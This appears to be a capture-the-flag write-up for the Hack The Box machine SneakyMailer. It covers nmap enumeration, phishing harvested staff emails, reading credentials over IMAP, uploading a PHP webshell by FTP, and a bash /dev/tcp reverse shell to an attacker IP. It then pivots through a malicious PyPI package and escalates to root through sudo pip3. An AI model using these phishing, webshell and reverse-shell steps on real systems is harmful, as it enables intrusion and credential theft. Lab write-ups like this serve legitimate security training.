search

SneakyMailer

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.197 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,22,25,80,143,993,8080 10.10.10.197 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The website on port 80, is doing a redirect to http://sneakycorp.htb.

whatweb http://10.10.10.197

Let's add the domain name to the /etc/hosts file.

nano /etc/hosts

The website doesn't have much functionality.

But there is a big list of emails in the Team section.

We could have a wordlists of emails for later use. The following command will take all those emails and put them in a file, where each email is separated by a , character.

curl -s http://sneakycorp.htb/team.php | grep "@sneakymailer" | html2text | tr "\n" "," > emails

There is one subdomain called dev.sneakycorp.htb.

gobuster vhost -u http://sneakycorp.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • vhost enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

The subdomain has basically the same website, but with one register feature.

hashtag
Exploitation

As we have a list of possible email addresses, we could try to send each address an email with a URL to our own HTTP server. This way, if some user open the email and click on the link, we'll see the request. First, set a simple HTTP server with nc on port 80.

nc -lvnp 80

Now, send an email to each email address of the ones we found earlier, and put in the body a link to our HTTP server. Once the emails are sent, we should see on the netcat listener a POST request with some juicy data.

swaks --to $(cat emails) --from alfa8sa@sneakymailer.htb --body "please click here http://10.10.14.11/" --server 10.10.10.197

  • --to recipient for the email.

  • --from sender of the email.

  • --body specify the body of the email.

  • --server specify the IP address to which to connect.

Let's URL decode the POST data we got in the request.

php --interactive

php > echo urldecode("firstName...%3AHt");

Now that we have credentials for the paulbyrd user, as IMAP ports 143 and 993 are open, we could try to see which emails has the paul user sent. First, connect to the server on port 143

nc -vn 10.10.10.197 143

Log in as paulbyrd.

A1 LOGIN "paulbyrd" "^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht"

List all the inboxes.

A2 LIST "" "*"

The Sent Items inbox has a few emails.

A3 EXAMINE "INBOX.Sent Items"

The first email is sent to the administrator, and it contains a few credentials.

A4 FETCH 1 BODY[]

The second email is just talking about python modules and PyPI.

A4 FETCH 2 BODY[]

The credentials we found in the first email are valid for the FTP server.

ftp 10.10.10.197

The FTP server contains a directory called dev.

ftp> ls

The dev directory contains what looks the files for the website hosted on dev.sneakycorp.htb.

ftp> ls dev

We can upload a PHP webshell to the FTP server, and then access it from the browser, so we can execute commands on the system. Create a PHP file with the following content.

Upload it to the FTP server under the dev directory.

ftp> cd dev

ftp> put webshell.php

Now we can execute commands. Note that the file gets remove in a certain period of time.

http://dev.sneakycorp.htb/webshell.php?cmd=whoami

Time to get a shell. Set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, execute the following command, which will send the netcat listener a reverse shell as the www-data user.

http://dev.sneakycorp.htb/webshell.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.11/4444 0>%261"

hashtag
Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we list the processes that are being executed on the system, we'll see one by the pypi user, which command executes the PyPI server on port 5000.

ps aux

It is giving the /var/www/pypi.sneakycorp.htb/.htpasswd file as an argument, which contains a password hash.

cat /var/www/pypi.sneakycorp.htb/.htpasswd

Let's break the hash with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

There is one configuration file for pypi.sneakycorp.htb under the Nginx configuration directory.

cat /etc/nginx/sites-enabled/pypi.sneakycorp.htb

The web server on port 8080 shows the PyPI server on port 5000. Let's add the new subdomain to the /etc/hosts file.

nano /etc/hosts

Let's check it out with the browser.

As this articlearrow-up-right explains, there is a way for us to execute commands on the system and do user pivoting by creating a Private Python Package Repository. First, we'll have to create the following directories and files structure.

tree revshell/

Every file can be empty, except for the setup.py file, which will contain the code that will be executed. It will contain the following code, that will send back a reverse shell.

nano setup.py

Now, create the .pypirc file with the following content, in the home directory of our current user. The file must contain the URL of the PyPI server, the pypi user and the password that we broke.

nano ~/.pypirc

Now, set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then execute the following command from the revshell directory. This will spawn a shell in the netcat listener, but a shell in our current machine, not the victim machine.

python setup.py sdist upload -r pwn

Now, set another netcat listener on port 4444.

nc -lvnp 4444

If now we exit the reverse shell on our own machine, we should get a shell on the second netcat listener on the victim machine as the low user.

# exit

Now, set another interactive TTY shell doing the same steps we did before. If we list the sudo privileges, we'll see that we can execute pip3 as root without having to give the password.

sudo -l

If we search for piparrow-up-right on the GTFOBins list, we'll see that we can spawn a shell as the root user.

circle-info

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.

https://gtfobins.github.io/arrow-up-right

First, create a temporary directory.

TF=$(mktemp -d)

Then, create a custom setup.py script.

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

Finally, if we execute pip3 with sudo and install the setup.py script, we'll spawn a shell as root, and then all we have to do is reap the harvest and take the root flag.

sudo pip3 install $TF

Last updated

Was this helpful?